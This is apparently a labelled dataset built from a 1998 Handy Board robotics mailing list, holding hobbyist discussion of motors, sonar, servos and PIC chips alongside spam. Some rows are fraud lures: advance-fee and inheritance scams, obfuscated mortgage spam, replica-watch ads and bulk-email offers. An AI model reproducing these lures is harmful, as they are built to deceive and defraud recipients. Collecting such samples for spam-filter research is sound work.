transducer? This will reduce the cost (and the size) of this whole setup! And talking about cost, does anybody knows a cheap supplier for these sonars? Wirz Electronics want $50 for one and $94 for two... And it's $99 for 2 direct from Polaroid. Anybody cheaper (and no, I don't have a hackable Polaroid camera at home ;^)? > > Thanks in advance, > -- Eric",0,1 Csilla Miera ,handyboard@media.mit.edu,"Sat, 24 Oct 1998 18:41:43 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! If you OW p N real e k st y at r e and want I x MME l DIA g TE ca z sh to sp b en a d ANY way you like, or simply wish to LO x WER your monthly p s ayme q nts by a third or more, here are the de q als we have T k ODA l Y : $ 4 r 88 , 000 at a 3 , 6 d 7% f u ixed - rat d e $ 3 o 72 , 000 at a 3 , y 90% va z riab p le - rat d e $ 49 z 2 , 000 at a 3 j , 21% inte d res e t - only $ 2 j 48 , 000 at a 3 , x 36% fi c xed - rat a e $ 19 c 8 , 000 at a 3 , x 55% var r iable - ra b te H l urry, when these deaI o s are gone, they are gone ! Don't worry about app q rova r l, your cr d edi x t will not dis o qual z ify you ! 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Lauderdale, FL 33306",1,1 FThompson9@aol.com,handyboard@media.mit.edu,"Sun, 25 Oct 1998 09:52:04 -0500",Re: Stepper Motor.,"Keith, At first blush I would suggest the following connections: Motor Out 0 1 - stepper phase #1 Motor Out 1 2- '' '' #2 Motor Out 2 3- '' '' #3 Motor Out 3 4 - '' '' #4 Ground 5 - stepper common #1,3 Ground 6 - stepper common #2,4 Your program would look like: long someTime; someTime = knob(); /* set time delay with frob knob */ while (1) { /* Forever */ while (start_press()) { /* Motor spins one way */ fd(0); msleep(someTime); off(0); fd(1); msleep(someTime); off(1); fd(2); msleep(someTime); off(2); fd(3); msleep(someTime); off(3); } while (stop_press()) { /* Motor spins the other way */ fd(3); msleep(someTime); off(3); fd(2); msleep(someTime); off(2); fd(1); msleep(someTime); off(1); fd(0); msleep(someTime); off(0); } } You might want to use an ohm meter to measure the resistance of the coils before you start. If the resistance is less and 5 ohms, I really wouldn't expect too much from the motor outputs, but it might still do something no load. This is a crude approach, and you might want to spend some time fiddling with the way you arrive at ""someTime."" But I think this will get you started. Hope this helps Pherd ",0,0 Haydal ,Natalia,"Sun, 25 Oct 1998 08:02:37 -0500",Promote Tool,"Dear staff@em.ca: We offer Targeted promote solutions: 1. Supply targeted emaiI-list (Just in your need). 2. Custom-built your email-list and send over your message for you. * We also offer server for send over emaiIs. Hope to serving you. Harpel Services Director Businessz@sina.com It is to staff@em.ca. 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Are there any good references on power distribution I should look at??? Thanks for any insight you all can offer! John Whitten brat@naxs.com ",0,0 """Mrs.Rashida Omar."" ",handyboard@media.mit.edu,"Mon, 26 Oct 1998 06:29:17 +0100","My Greetings to you,","My Greetings to you, I am Mrs. Rashida Omar from Libya. I am married to Late Abdullah Omar of blessed memory who was an oil explorer in Libya and Kuwait for twelve years; before he died in the year 2000. We were married for twelve years without a child. My husband died after a brief illness that lasted for only four nights. Since his death I too have been battling with both Cancer and fibroid problems. When my late Husband was alive he deposited a substantial amount of money in millions of dollars with a Finance Firm oversea. Recently, my doctor told me that I have only six months to live in this world due to cancer problem. Though what disturbs me most is my stroke sickness. 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I am trying to implement obstacle detection using the IR sensors. my question is that, if I want to have more than one ir emitter LED, ( to find out the direction of the obstacle) , do I need to have as many detectors also,( the sharp IS1U60 chip) or the one which is already there on the handyboard will do? If I need more, how should I connect them and also, how should I connect the extra IR output LED's? I hope someone can help me with that. Thanks. Rajbala ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Mon, 26 Oct 1998 11:09:06 -0500",My first servo try! Cool! (C Question),"Hi all, I'm still amazed with this Handyboard! I had some free time to play this weekend and hooked up a Servo motor for the first time. It was a small futaba that I got from B&G or Electronics Goldmine (I can't remember which). Anyway, I have a few questions though... Programming Question: Q1) The servo_deg() function requires a float. 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Does any one know of some device that could be used to continuously transmit a certain IR code. What I am trying to do is to have an HB based robot try out some navigational tasks, based on what it senses as well as have an internal representation of the floor space. This way the robot can be made to acrry out tasks that require it to go from a given location in its world, to a ""goal"" location. In order to make things interesting, one could define certain landmarks. Given the suite of sensors (think photosensors, IR reflectance, and ON/OFF Switches, and IR detection), I was thinking of placing landmarks that send a beacon, identifying themselves....I could simply use the SONy remote and give it the proper landmark signal every time it gets to a particular landmark, but it would be nicer if I could just place some device that periodically emits the signal. One possibility that comes to mind is the iButton (that can be programmed using Java). But I am clueless about the IR spec of iButtons and whether they will be compatible with the sony ir codes. I can imagine putting several iButtons emitting different codes marking locations in the ""world"". Deepak. --- Deepak Kumar E-mail: dkumar@blackcat.brynmawr.edu Department of Math. & Computer Science Voice: (610) 526-7485 Bryn Mawr College Fax: (610) 526-5086 Bryn Mawr, PA 19010 WWW: http://mainline.brynmawr.edu/~dkumar/ ",0,1 Nathaniel Fairfield ,handyboard@media.mit.edu,"Mon, 26 Oct 1998 13:31:50 -0500",Re: My first servo try! Cool! (C Question)," On Mon, 26 Oct 1998 GDFRITZ@aol.com wrote: ... > Q2) Is it normal for the servo to 'jitter' back and forth > slightly for about a second after doing a servo_deg()? > ... The servos which I've been using can run at two different power levels... I think they are 7.5 and 5 volts. I found that if I powered the servo directly off the battery (stupid, yes), the servo would over-correct and jitter. But if I powered if off of one of the digital inputs, which I think provide 5 volts, the servo settled down and behaved properly. Messing around with sonar a sonar ranger also seemed to indicate that servos are sensative to power fluctuations and I think the regulated power of the digital inputs is more stable, too. Nathaniel ",0,0 jsh2 ,Handy Board Mailing List ,"Mon, 26 Oct 1998 09:47:46 +0100",Stepper motor!!," Hallo all. Why don't you us stepper motor driver IC. for example SAA1027 Philips (uni- polar) or ucn-5804B Allegro Microsystems (uni-polar) or L297 SGS-Thomsom (uni and bi-polar) This will take care of some problems and your handyboard alive!! for more info maybe this link is helpful for datasheets http://www.quistlink.com/ reg, jeroen. ",0,1 The Plumber ,handyboard@media.mit.edu,"Mon, 26 Oct 1998 14:28:35 -0700",C compiler,"Is there any C compilers that people can recomend, I am looking for a cross compiler (compiles to byte code) as opposed to interpreted (IC). Oh, I use a PC runing windows/dos Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca ",0,0 Eric Noyau ,handyboard@media.mit.edu,"Mon, 26 Oct 1998 14:30:11 -0800",Source for bend sensor?," Hi all, I'm looking for these bend sensors described in the ""Mobile Robots"" book, they look fairly interesting to implement bumpers or to use in wall following activities but I can't find them anywhere. According to the book p.117 ""bend sensors are very inexpensive, under one dollar"". So far I found them on only one place on the web and they are charging $10 a piece! I called AGE (the distributor listed in the yellow page in ""Mobile Robots"" as the source for this hardware) and they don't know what I'm talking about ;^(. Help! -- Eric PS: Thanks for all your help. This mailing list has a tremendous impact on my robot! I can ask questions and I usually got multiple helpful answers. That's great. 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I have little doubt that you will find one for *shudder* DOS, or even *spit* *spit* Windows. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 DjKOz97@aol.com,handyboard@media.mit.edu,"Mon, 26 Oct 1998 20:28:09 -0500",Line follower,"Hi, I'd like to use the line follower C routines included with the handyboard software. What type of sensors do I need, where can I find them, and are there schematics for connecting them to the handyboard? Also, I would like my handyboard to control two 30 VDC ( ~3A) motors. I know that WIRZ electronics has H-Bridge circuits, but does anyone have any recommendations on which module to buy? Thanks for your help Dave. ",0,0 Francois ,handyboard@media.mit.edu,"Tue, 27 Oct 1998 01:53:29 +0000",Re: Source for bend sensor?,">>Hi all, >> >>I'm looking for these bend sensors described in the ""Mobile Robots"" book, they look fairly interesting to implement bumpers or to use in wall following activities but I can't find them anywhere. > >Hi Eric, > >Have a look at http://el.www.media.mit.edu/groups/el/projects/handy-board/howtoget/robstuff .html. On this page Fred gives the addresses of many Robot Matériel Suppliers >""The Images Company (http://www.imagesco.com/)sells the popular bend > sensor (their part number FL01) device for $5 each > (plus shipping/handling). Contact info: Images > Company, P.O. Box 140742, Staten Island, NY > 10314. Phone: (718) 698-8305; fax (718) > 982-6145. "" > >Francois ",0,1 Eric Noyau ,Francois ,"Mon, 26 Oct 1998 18:22:54 -0800",Re: Source for bend sensor?," If you go look at the imagesco page the sensor is the Part number FLX-01 and they are priced at $10.00 each. This is where I got my $10 quote ;^( I guess there was a 50% raise in the price since Fred Martin updated the FAQ... Thanks anyway. -- Eric At 05:51 PM 10/26/98 , Francois wrote: >At 14:30 26/10/98 -0800, you wrote: >> >>Hi all, >> >>I'm looking for these bend sensors described in the ""Mobile Robots"" book, >they look fairly interesting to implement bumpers or to use in wall >following activities but I can't find them anywhere. > >Hi Eric, > >Have a look at >http://el.www.media.mit.edu/groups/el/projects/handy-board/howtoget/robstuff >.html. On this page Fred gives the addresses of many Robot Matériel Suppliers >""The Images Company (http://www.imagesco.com/)sells the popular bend > sensor (their part number FL01) device for $5 each > (plus shipping/handling). Contact info: Images > Company, P.O. Box 140742, Staten Island, NY > 10314. Phone: (718) 698-8305; fax (718) > 982-6145. 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I'd really like to overlap taking measurements with sending data, which looks like it could be difficult, if it's manually clocking bits out on the serial interface. What would you guys recommend as a good general purpose PIC? Digikey has the PIC16C76/JW for $16.55 and the PIC16F84-04/P is $6.25. I'm planning to use the PICProto18 or PICProto3 from microEngineering Labs. With PICs being fairly cheap, it might be easier to just use multiple PICs rather than handling the software complexity of doing everything in one chip. Has anyone connected multiple PICs to a SPI bus, with the HC11 in master mode and the PICs in slave mode? The 68HC11 docs I have are a little sparse on how multiple slave mode works. Would I have one slave select line to each PIC and then the HC11 code would have to poll the PICs by selecting each one in turn with some sort of simple packet protocol? It's ashame that the 68HC11 doesn't support I2C, because it seems that they solve this problem with that interface... We've got a nice programmer at work, so I shouldn't have any trouble programming either chip. Another complication is that I don't have a PC, so I was hoping to do all my development using one of the free assemblers on my Unix box. Thanks, Clem ",0,0 """Dr.Peter Chang"" ",handyboard@media.mit.edu,"Tue, 27 Oct 1998 09:47:19 +0800",Good Day.,"Dr.Peter Chang Kuala Lumpur, Malaysia. ATTN: Sir/Madam, TRANSFER OF ($15,300.000.00 USD} FIFTEEN MILLION THREE HUNRED THOUSAND DOLLARS. I want to transfer ($15,300.000.00 USD)Fifteen Million Three Hundred United States Dollars from a Bank here in Kuala Lumpur,Malaysia to oversea account.First,I must solicit your strictest confidence in this transaction.This is by virtue of it's nature as being utterly confidential. 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Yours Faithfully, Dr.Peter Chang Email:pet_2004_ch@123mail.cl ",1,0 """John A. Atkinson-Abutridy"" ",handyboard@media.mit.edu,"Mon, 26 Oct 1998 19:22:40 -0600",questions,"Hi all, Could someone tell me how the ""IR_signal"" function works, please? What parameters must I pass to it? Thank you -- John A. Atkinson-Abutridy EMAIL: atkinson@inf.udec.cl Profesor Asistente Dept. de Ingenieria Informatica URL: http://www.inf.udec.cl/~atkinson Universidad de Concepcion Concepcion, CHILE Phone: (56) (41) 204305 Fax : (56) (41) 221770 ",0,1 Darkman ,"Keith - Lui , handyboard@media.mit.edu","Tue, 27 Oct 1998 08:45:52 -0500",Re: Stepper Motor.,"You can also check out this homepage: http://www.cctc.demon.co.uk/stepper.htm It describes how to connect stepper motors to the handy board along with programming examples. I hope that helps! -----Original Message----- From: Keith - Lui To: handyboard@media.mit.edu Date: Saturday, October 24, 1998 4:46 PM Subject: Stepper Motor. > >I would like to have my HB controlling a stepper motor. > >It's a 4-phase unipolar permanent magnet motor. >The names of the inputs are like this: > >1 - stepper phase #1 >2- '' '' #2 >3- '' '' #3 >4 - '' '' #4 >5 - stepper common #1,3 >6 - stepper common #2,4 > >I don't have any experience in stepper motor, can anybody give me some clues on >how to use it with the HB? > >Keith >",0,1 Darkman ,"handyboard@media.mit.edu, Eric Noyau ","Tue, 27 Oct 1998 08:50:26 -0500",Re: Source for bend sensor?,"If you get your hands on a Nintendo power glove you'll find some in the fingers of the glove. That's what I've been told! -----Original Message----- From: Eric Noyau To: handyboard@media.mit.edu Date: Monday, October 26, 1998 6:23 PM Subject: Source for bend sensor? > >Hi all, > >I'm looking for these bend sensors described in the ""Mobile Robots"" book, they look fairly interesting to implement bumpers or to use in wall following activities but I can't find them anywhere. > >According to the book p.117 ""bend sensors are very inexpensive, under one dollar"". So far I found them on only one place on the web and they are charging $10 a piece! I called AGE (the distributor listed in the yellow page in ""Mobile Robots"" as the source for this hardware) and they don't know what I'm talking about ;^(. > >Help! > >-- Eric > >PS: Thanks for all your help. This mailing list has a tremendous impact on my robot! I can ask questions and I usually got multiple helpful answers. That's great. I'll make sure to build a web page with schematics and software when I have a working version of my robot to help whoever come after me! >",0,0 Adam Oliver ,handyboard@media.mit.edu,"Tue, 27 Oct 1998 22:25:32 +0800",Re: Source for bend sensor?,"This is correct, although the bend sensors aren't all that great. I've got the glove and the accuracy isn't very much, about the best you can expect is what they've got from the glove , ie 4 different bend positions. But if this is enough for your task then a $5 surplus glove from somewhere would be ideal Adam -----Original Message----- From: Darkman To: handyboard@media.mit.edu ; Eric Noyau Date: Tuesday, 27 October 1998 10:10 Subject: Re: Source for bend sensor? >If you get your hands on a Nintendo power glove you'll find some in the >fingers of the glove. >That's what I've been told! > > >-----Original Message----- >From: Eric Noyau >To: handyboard@media.mit.edu >Date: Monday, October 26, 1998 6:23 PM >Subject: Source for bend sensor? > > >> >>Hi all, >> >>I'm looking for these bend sensors described in the ""Mobile Robots"" book, >they look fairly interesting to implement bumpers or to use in wall >following activities but I can't find them anywhere. >> >>According to the book p.117 ""bend sensors are very inexpensive, under one >dollar"". So far I found them on only one place on the web and they are >charging $10 a piece! I called AGE (the distributor listed in the yellow >page in ""Mobile Robots"" as the source for this hardware) and they don't know >what I'm talking about ;^(. >> >>Help! >> >>-- Eric >> >>PS: Thanks for all your help. This mailing list has a tremendous impact on >my robot! I can ask questions and I usually got multiple helpful answers. >That's great. I'll make sure to build a web page with schematics and >software when I have a working version of my robot to help whoever come >after me! >> >",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 27 Oct 1998 09:30:55 -0500",Re: Picking a PIC,"Clem: In a message dated 98-10-26 23:31:56 EST, you write: << I'm looking to offload the processing of IR proximity sensors and ultrasound to a PIC(s). I'm hoping to connect the PIC to a HandyBoard via the SPI. << I'm trying to decide which is the right PIC for the job. The PIC16C7x (PIC16C76) series supports SPI, can source 25mA/pin, 2 PWM channels, and has 22 I/Os with 5 ADCs. >> Unless you need the A/D channels, look to the PIC 16C6x parts. The only difference is the A/D and price. << Cool part! However, many people seem to use the PIC16F84 because it's based on flash, so you don't have to wait forever to erase them, but it doesn't have all the cool features of the PIC16C7x, specifically SPI. >> I don't find errase time to be a problem most of the time. I have been working a lot lately with PICs. Generally I write some code, simulate it, burn it, test it and after a while erase it. In the last 3 months of steady progress, there have been only a couple of times where I was actually waiting for the eraser to erase the chip so I could blow it again. (I have a weak eraser which will only erase one chip at a time and it takes about 2 hours to erase.) Most of your time should be spent in the simulator checking out your code. Note though that it will not simulate the hardware functions of serial I/O (I assume this is also true of the SPI channels). When you put a byte in the TXREG (serial transmit out), it takes a certain amount of time for the ""TXREG empty"" interrupt bit to go on, as though the letter had been shifted out, but you do not get to see the I/O bit toggeling. Also I have not found a good way simulate serial data coming. I just manually put the letter in the RCREG and then manually set the ""Receive data available"" bit in the STATUS register. << Emulating SPI in software seems like a silly waste of cycles. I'd really like to overlap taking measurements with sending data, which looks like it could be difficult, if it's manually clocking bits out on the serial interface. >> I have not done SPI myself yet, but plan to in the next couple of weeks. But with the PIC hardware, it should be quite simple. Given what a PIC costs, I would suggest using the hardware SPI. << What would you guys recommend as a good general purpose PIC? Digikey has the PIC16C76/JW for $16.55 and the PIC16F84-04/P is $6.25. I'm planning to use the PICProto18 or PICProto3 from microEngineering Labs. With PICs being fairly cheap, it might be easier to just use multiple PICs rather than handling the software complexity of doing everything in one chip. >> I'd say the 16C77, same RAM and ROM as the 76 but you have more A/D, more I/O available and it is 10 cents LESS. It is wider than the 77, and I see that as its only drawback. This is not so much to do more on one chip, but when you want ot move to a new project with different needs, you have the ports. I have moved code from one chip to another with only changing two lines of code (the ones at the top that says: LIST p=16c74 ;chip type INCLUDE P16C74.INC The 16C67 is $1.32 less to loose the A/D, but that really isn't much, and if you don't want A/D, just don't enable them. << Has anyone connected multiple PICs to a SPI bus, with the HC11 in master mode and the PICs in slave mode? The 68HC11 docs I have are a little sparse on how multiple slave mode works. Would I have one slave select line to each PIC and then the HC11 code would have to poll the PICs by selecting each one in turn with some sort of simple packet protocol? It's ashame that the 68HC11 doesn't support I2C, because it seems that they solve this problem with that interface...>> Not me. << We've got a nice programmer at work, so I shouldn't have any trouble programming either chip. Another complication is that I don't have a PC, so I was hoping to do all my development using one of the free assemblers on my Unix box. >> Check their web site: www.microchip.com If there is support for Unix boxes, it will be there. I am currently running Windows 95, but I have run the assembler on an IBM XT (8088). The simulator requires a minimum of x286. I have just started using MPLAB, which is there full up integrated windows development environment. I'm still going through growing pains with this, but it has a lot of features that I really enjoy (click on a line in the error listing, and the source code comes up to that line)... But the serial simulation does not seem to be as good as the one I had with MPSIM. (I no longer get a ""Transmit Buffer Empty"" interrupt after a time when sending letters.) Let me know if you have any other questions. Also in all fairness I should mention Ben Wirz (of Wirz electronics) preferrs the Flash stuff so you might want to ask for his comments supporting this technology. www.wirz.com Hope this helps, Pherd",0,0 Bert Pirson ,"GDFRITZ@aol.com, handyboard@media.mit.edu","Tue, 27 Oct 1998 09:37:18 -0500",Re: My first servo try! Cool! (C Question),"> >Q1) The servo_deg() function requires a float. How do I >get it to use an integer if I want to put it in a loop and >use an integer variable? > > easy way: for (angle=1; angle<10; angle++) servo_deg((float)angle) better way: modify functions from servo.c to accept integers: int servo_deg_int(int)angle) { return servo(degree_to_pulse(angle)); } int degree_to_pulse_int((int)angle) { int dexcursion_int = 180; return (((angle*(SERVO_RANGE))/dexcursion_int)+MIN_SERVO_WAVETIME); } You could also replace degree_to_pulse_int() with an array of pulse lengths. For 180 degrees this would use 362 bytes but would be faster. Its the trade off between speed and memory constraints. int servo_deg_int(int)angle) { int degree_to_pulse[181] = {1400, 1418, 1436, ... etc.}; return servo(degree_to_pulse[angle]); } Have not tried this code, but I don't think there are any typos. You should also check to make sure angle is within the range of your servo since none of the servo functions have any error checking. Bert",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Tue, 27 Oct 1998 10:29:34 -0500",68HC11A1 vs 68HC11E1,"Hi Folks, I'm not actually subscribed to the Handyboard list as Fred is traveling an unable to add me to the list. But I was hoping someone could take a moment to clear up my confusion on why the documentation occasionally refers to the E1, while the parts list has only the A1. Are they interchangeable, is one preferable to the other? I'm about to order the microcontroller and I want to make sure I get the right one. On a similar note, I'm having trouble finding the LCD display. I tried Newark, Allied, Digikey and Jameco to no avail. Thanks for your help. Please respond directly to me since I'm not on the list. Thanks, Chris Prosser ",0,0 Randy Sargent ,The Plumber ,"Tue, 27 Oct 1998 10:11:08 -0800",Re: C compiler,"Joe, Your question implies that Interactive C does not compile to byte code, so I thought I should take some time to post an explanation of how IC works. Actually, Interactive C does compile, and in fact does compile to byte code, which is then downloaded to the 6811. The 6811 then has a byte code interpreter, which executes the byte code. Being interactive doesn't necessarily require an interpreter; because the IC compiler and debugger are in fact the same program, things you type at the IC> prompt are transparently compiled to byte code prior to download. Why wasn't IC designed to be an interpreter? The advantage of compiling to byte code as opposed to using a standard interpreter is primarily speed. The primary disadvantage is that the 6811 board won't contain the original source code, so you must maintain the source solely on your desktop computer. On the other hand, why wasn't IC designed to compile directly to machine code? Advantages of compiling to byte code compared to compiling to machine code include smaller code size, ease of multitasking, and making it easier to do some run time error checking. The primary disadvantage is that byte code is slower than machine code. I hope this helps to clear up how IC works. -- Randy The Plumber wrote: > > Is there any C compilers that people can recomend, I am looking for a > cross compiler (compiles to byte code) as opposed to interpreted (IC). > > Oh, I use a PC runing windows/dos > > Thanks, > Joe Hoffmann > E-Mail jhoffman@it.sait.ab.ca -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Will ,Handyboard Mailing List ,"Tue, 27 Oct 1998 12:26:28 -0700",Re: Source for bend sensor?,"Eric Noyau wrote: > I'm looking for these bend sensors described in the ""Mobile Robots"" book, There was a guy on the HB list a few months back offering to sell bend sensors for a reasonable price. I figured that if he's into robotics, then he's probably one of the good guys. I took a chance and sent him a few bucks, but I haven't received the sensors yet. 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I do have a particular quesion, if you have time to reply. My question and problem is with the sonar. I am currently testing the sonar using the handy board. I am using the set up that you have on your website. The problem is I am getting readings from the handy board, which is from the sonar. The reading I am getting are ranging from -25000 to +25000. Some of the sample readings that I am getting are as follows; 200, 1400, 1800, 5000, 12000, 2400, 3000, -500, -3000, -14000, -24000, -500, 13000, 23000. The reading that I am getting are ranging from a -25000 to a +25000. I have tried this test with nothing in front of the sonar for 30 feet, and I have also tried testing it with a book 3 inches in front of it. Even with the different tests, the readings seem similiar. I don't know if this is normal, but it does seem like my data is not ideal. Another problem I am having is the connection from the Polaroid 9-pin Connector to the 6500 Series Sonar Ranging Module. I am using a Polaroid ribbon wire, between these two. The problem is, the ribbon is bending a lot and the connection is not that good. The ribbon wire keeps coming out of the female connector. Have you ever came across this problem or has any of your email list servers, and how did they solve this problem. --------------- Michael Kee - mlkee@unm.edu - ______________ ",0,0 michael lang kee ,handy_board ,"Tue, 27 Oct 1998 22:24:52 -0700",Handy board questions (fwd),"--------------- Michael Kee - mlkee@unm.edu - ______________ ---------- Forwarded message ---------- Date: Tue, 27 Oct 1998 19:40:38 -0700 (MST) From: michael lang kee To: Fred G Martin Cc: mlkee@unm.edu Subject: Handy board questions I am writing to you to let you know I have used your web-page. and there is a lot of information that I have used. I do have a particular quesion, if you have time to reply. My question and problem is with the sonar. I am currently testing the sonar using the handy board. I am using the set up that you have on your website. The problem is I am getting readings from the handy board, which is from the sonar. The reading I am getting are ranging from -25000 to +25000. Some of the sample readings that I am getting are as follows; 200, 1400, 1800, 5000, 12000, 2400, 3000, -500, -3000, -14000, -24000, -500, 13000, 23000. The reading that I am getting are ranging from a -25000 to a +25000. I have tried this test with nothing in front of the sonar for 30 feet, and I have also tried testing it with a book 3 inches in front of it. Even with the different tests, the readings seem similiar. I don't know if this is normal, but it does seem like my data is not ideal. Another problem I am having is the connection from the Polaroid 9-pin Connector to the 6500 Series Sonar Ranging Module. I am using a Polaroid ribbon wire, between these two. The problem is, the ribbon is bending a lot and the connection is not that good. The ribbon wire keeps coming out of the female connector. Have you ever came across this problem or has any of your email list servers, and how did they solve this problem. --------------- Michael Kee - mlkee@unm.edu - ______________",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Wed, 28 Oct 1998 08:15:51 -0500",Re: Picking a PIC,"In a message dated 98-10-27 13:58:13 EST, ben@wirz.com writes: << Hi Fred, Good to hear from you, feel free to post this to the list. I feel that the flash parts are easier to use because you don't need to wait for the UV eraser to do its things during development, the flash parts are electrically erasable. But the problem is that Microchip currently only has one flash chip available, the 16F84. Note that the popular 16C84 is now obsolete the 16F84 is very similar. If you can live within the constraints of having only 1 8 bit timer, no hardware UART, no A/D, and a max speed of 10 MHz then its fine, otherwise you need to move up to one of the EPROM parts. I feel that with good simulation, which is an absolute requirement for the PIC, then it doesn't really matter because you will know your code is going to work and the erase/burn cycles are minimized. I also try to keep 4 or 5 of each type of PIC I'm working with on hand so I can have a couple in the eraser at all times. I hope that helps, Ben Wirz >>",0,0 Eva Hilliard ,"handyboard@media.mit.edu, troy@media.mit.edu","Wed, 28 Oct 1998 13:14:51 +0100",High Quality Replica,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. The second hand moves JUST like the real ones, too. These original watches sell in stores for thousands of dollars. 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Any help or suggestions appreciated. -Drew ",0,0 Will ,Handyboard Mailing List ,"Wed, 28 Oct 1998 11:37:11 -0700",Re: Sonar Sensor Problems,"michael lang kee wrote: > The problem is I am getting readings from the handy board, which > is from the sonar. The reading I am getting are ranging from -25000 to > +25000. Some of the sample readings that I am getting are as follows; > 200, 1400, 1800, 5000, 12000, 2400, 3000, -500, -3000, -14000, -24000, > -500, 13000, 23000. An occasional sporadic reading is normal and can best be handled by returning the median of three readings. Very noisy sonar data like yours might be attributable to noisy power to the board, a weak connection, or running motors, etc. at the same time. The Polaroid manual says that it's a good idea to make sure there are no other electromechanical components operating while listening for a ping. Also, make sure you soldered the correct capacitor into the C7 position on the sonar module board (see the HB web page) and that your solder joints are clean. > Another problem I am having is the connection from the Polaroid > 9-pin Connector to the 6500 Series Sonar Ranging Module. I am using a > Polaroid ribbon wire, between these two. The problem is, the ribbon is > bending a lot and the connection is not that good. The solution that worked best for me was to replace the female flat flex connector on the sonar module board with .100"" female header strips--a 1x4 and a 1x5 superglued together. I glued up a 9-pin male header plug to match, and used rainbow ribbon cable to connect the sonar module to my custom dual sonar interface board (with the six diodes and the resistor on it). I also doubled up on the power and ground wires to ensure adequate current flow. It works great. Anyone who wants more details should feel free to e-mail me directly. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can find something everyone agrees on, Will Bain, it's wrong. & Tatoosh --Mo Udall",0,0 Bernd Unger ,"HandyBoard Mailingliste , ""Wijngaarde, Ronald"" ","Wed, 28 Oct 1998 21:15:05 +0100",Re: Implementation question,"Hi All! I'm having exactly the same problem! The download seem to work correctly but after switching off and on the board again it seem not to start over. I have momentarily used another reset device. I dont know exactly the specification but it seem not to wait for 350ms to put the reset. My suspect is this reset device - i will get the DS1233-10 soon and hope it will work then. What i'm using is another LCD, but also based on the HD44780 controller, what i think is the important point. Another thing i'm sure about if it is correct is that the current on the board is only about 4.8volt (measure with an old analog device). Maybe the DC adapter i'm using has not enough power. Its build for 12V/1.25A but does only give about 11.0V although with or without the handy board connected. Has anybody a idea what to do? Is it a good sign if the download-mode does work and the second line of the LCD is black? Can the software be the problem? Bye Bernd ---------- > Von: Wijngaarde, Ronald > An: handyboard@media.mit.edu > Betreff: Implementation question > Datum: Samstag, 24. Oktober 1998 15:36 > > I am busy building the HB but I cannot get it to work yet. Here are the > symptoms. > The serial board works as expected and performs all tests as described > in the implementation manual. RAM and HC11 are installed as well as the > LCD. I am using the sharp LCD. The only problem with the sharp is that > the pins are placed in such a way that I need a flat cable to connect > it. > > I have tried several downloaders to get the pcode into the board. Most > of them tell me that the download went okay and some ever report the two > step process went okay (first the bootstrap loader, than the program). > But as soon as I try to reset the board and run IC version 2 or 3, it > cannot find the Handy Board. The LCD shows a solid row of blocks. I also > tried the pcode that runs the HB without the LCD, to no avail. IC > version 3.x cannot even communicate with the board. It refuses to see > the board and will not download anything. > > I suspect the reset circuitry. Is there a test that can be performed to > make sure that data is actually downloaded into RAM before the board is > Reset ? How crucial is the Dallas Semiconductor voltage monitor chip ? > Can it be replaced by other, similar chips, like the one used in the > rug-warrior original plans (8810) ? > > Regards, > Ronald Wijngaarde > The Netherlands",0,0 luikeith@egr.msu.edu,handyboard@media.mit.edu,"Wed, 28 Oct 1998 15:34:01 -0500",Motor output,"Hi! When I work with the motor outputs, I found that the outputs are not linear. The ""motor(m,p)"" changes the output only in an increment 10 of p. Is there anyway I can get a more presiced output? Thanks. Keith ",0,0 Jaliyah Breton ,handyboard@media.mit.edu,"Wed, 28 Oct 1998 12:09:24 -0500",Fat Go Go Go,", deleterious it coke be craw but arachnid or knuckleball ",1,0 Eric Noyau ,luikeith@egr.msu.edu,"Wed, 28 Oct 1998 13:43:18 -0800",Re: Motor output,"At 12:34 PM 10/28/98 , Keith - Lui wrote: >Hi! > >When I work with the motor outputs, I found that the outputs are not linear. > >The ""motor(m,p)"" changes the output only in an increment 10 of p. > >Is there anyway I can get a more presiced output? > The motor controls in the Handy Board library supports only 8 levels of power. Upgrade! Get the Smooth PWM version made by Julian Skidmore in the software contributed page on the Handy board web site (http://el.www.media.mit.edu/groups/el/projects/handy-board/). You will have to do multiple things: 1- Get the new pcode_hb.s19, install it on your board 2- Merge the differences between the latest HB libraries and the ones from Julian. It's fairly easy to do and you end up with the latest changes from Fred Martin and the smooth PWM code from Julian in one neat package. Just get the two lib_hb.c and compare them, it's fairly evident what the changes are (Fred changed a function from IC to native and Julian changed the motor controls to match the changes in the pcode). I did that for my board and I can now control my motors with great precision. It's really appreciable when you are trying to use the feedback from your shaft encoders to regulate the motors at the same speed. Before installing the smooth PWM my 'bot was always over correcting and basically never ran on a straight line, swerving right and left. Now it's smoothly correcting and it's running (almost) in straight line Is there any chance for the smooth PWM algorithm to make their way into the supported release of the pcode and libraries? This is a real improvement over the standard one... -- Eric ",0,1 Shiva Sinha ,handyboard@media.mit.edu,"Wed, 28 Oct 1998 17:20:14 -0500",HB woes,"I'd appreciate mucho any help and ideas you all have I am building my HB, finally got the caps and crystal osc. working, and ran the HBDL program to download. All good and fine. I go off and solder in the transparent latch, and while doing so I knock the board. I go back and check that to see what problems I've created: pin 26 gives +5volts pin 5 gives me a 2MHz signal (about 700mV pp), and 2.8V but -> pin 1 is giving me 2.85V && The Batt LED will not go off && I can no longer get into bootstrap mode :( Did I blow my 6811? What other things should I check? the only other stuff I have installed is the memory chips Thank you very much ",0,0 hacke@icns.com,wengd@optionshealthcare.com,"Wed, 28 Oct 1998 23:44:49 -0500",Re: Other LCDs,"Drew I picked up a 20x4 LCD from B. G. Micro (see their on-line catalog at http://www.bgmicro.com/prodlit.htm and view page 2 - the LCD is the one in the upper right at $8.95, part number LCD1002). For 2x16, it will work just plugging into the HB. I poked memory locations related to the display size and got 2x20 going (a 